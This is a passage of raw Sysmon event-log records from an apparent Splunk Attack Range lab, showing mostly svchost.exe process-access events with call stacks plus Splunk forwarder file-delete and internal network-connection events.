Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4960157C263B560D78724C452E131A46,SHA256=BDE42DE538505C5B196FC820D36153C7E95C87905A183E31B9FD9106F104B90B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000056606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.412{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000018108Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:23.775{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D7ECBD9107CDBCEF5F78410415561C9,SHA256=F5D223F318BC96BF8AD3FFDD3E2EBFD7238C7435B465624C22C1CA6F87DB6789,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:23.711{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=875CD1DC63D8DE8143554E7A999272F3,SHA256=7F5A0CCDE0A2780359CD380CC25FFFD8F77F2C248A991AF6306C9336AB7E7E99,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.502{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63175-false10.0.1.12-8000- 23542300x800000000000000018109Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:24.775{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D9F87E2FED7402ED76631BC0813B6D86,SHA256=767BBEC7936AD4753D4D6C580057D545E4054742081AAA988C82816949DC8947,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.726{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program 